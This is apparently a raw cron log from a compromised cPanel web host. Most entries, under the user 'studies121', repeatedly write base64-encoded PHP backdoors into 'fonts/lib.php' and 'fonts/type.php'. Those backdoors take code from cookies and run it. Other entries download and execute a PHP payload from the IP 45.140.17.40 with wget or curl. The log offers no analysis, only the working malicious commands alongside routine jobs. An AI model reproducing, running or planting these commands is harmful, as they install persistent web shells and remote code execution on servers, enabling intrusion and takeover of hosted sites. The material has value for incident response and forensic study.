Aug 31 01:35:01 ip-184-168-122-23 CROND[6417]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:36:01 ip-184-168-122-23 CROND[6515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:36:01 ip-184-168-122-23 CROND[6517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:36:01 ip-184-168-122-23 CROND[6518]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:36:01 ip-184-168-122-23 CROND[6519]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:36:01 ip-184-168-122-23 CROND[6520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:37:01 ip-184-168-122-23 CROND[6697]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:37:01 ip-184-168-122-23 CROND[6698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:37:01 ip-184-168-122-23 CROND[6700]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:37:01 ip-184-168-122-23 CROND[6701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:38:01 ip-184-168-122-23 CROND[6781]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:38:01 ip-184-168-122-23 CROND[6783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:38:01 ip-184-168-122-23 CROND[6787]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:38:01 ip-184-168-122-23 CROND[6785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:38:01 ip-184-168-122-23 CROND[6786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:39:01 ip-184-168-122-23 CROND[6907]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:39:01 ip-184-168-122-23 CROND[6908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:39:01 ip-184-168-122-23 CROND[6911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:39:01 ip-184-168-122-23 CROND[6913]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 01:39:01 ip-184-168-122-23 CROND[6915]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:40:01 ip-184-168-122-23 CROND[7001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:40:01 ip-184-168-122-23 CROND[7004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:40:01 ip-184-168-122-23 CROND[7007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:40:01 ip-184-168-122-23 CROND[7008]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 01:40:01 ip-184-168-122-23 CROND[7014]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:40:01 ip-184-168-122-23 CROND[7013]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:40:01 ip-184-168-122-23 CROND[7015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:40:01 ip-184-168-122-23 CROND[7018]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:41:01 ip-184-168-122-23 CROND[7098]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:41:01 ip-184-168-122-23 CROND[7100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:41:01 ip-184-168-122-23 CROND[7101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:41:01 ip-184-168-122-23 CROND[7103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:42:01 ip-184-168-122-23 CROND[7242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:42:01 ip-184-168-122-23 CROND[7243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:42:01 ip-184-168-122-23 CROND[7246]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:42:01 ip-184-168-122-23 CROND[7244]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:42:01 ip-184-168-122-23 CROND[7245]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:43:01 ip-184-168-122-23 CROND[7408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:43:01 ip-184-168-122-23 CROND[7409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:43:01 ip-184-168-122-23 CROND[7410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:43:01 ip-184-168-122-23 CROND[7411]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:44:01 ip-184-168-122-23 CROND[7491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:44:01 ip-184-168-122-23 CROND[7493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:44:01 ip-184-168-122-23 CROND[7494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:44:01 ip-184-168-122-23 CROND[7495]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:44:01 ip-184-168-122-23 CROND[7496]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:45:01 ip-184-168-122-23 CROND[7583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:45:01 ip-184-168-122-23 CROND[7587]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 01:45:01 ip-184-168-122-23 CROND[7588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:45:01 ip-184-168-122-23 CROND[7585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:45:01 ip-184-168-122-23 CROND[7586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:45:01 ip-184-168-122-23 CROND[7589]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 01:46:01 ip-184-168-122-23 CROND[7691]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 01:46:01 ip-184-168-122-23 CROND[7693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:46:01 ip-184-168-122-23 CROND[7694]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 01:46:01 ip-184-168-122-23 CROND[7698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 01:46:01 ip-184-168-122-23 CROND[7697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:46:01 ip-184-168-122-23 CROND[7699]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 01:46:01 ip-184-168-122-23 CROND[7700]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 01:47:01 ip-184-168-122-23 CROND[7814]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 01:47:01 ip-184-168-122-23 CROND[7817]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 01:47:01 ip-184-168-122-23 CROND[7818]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
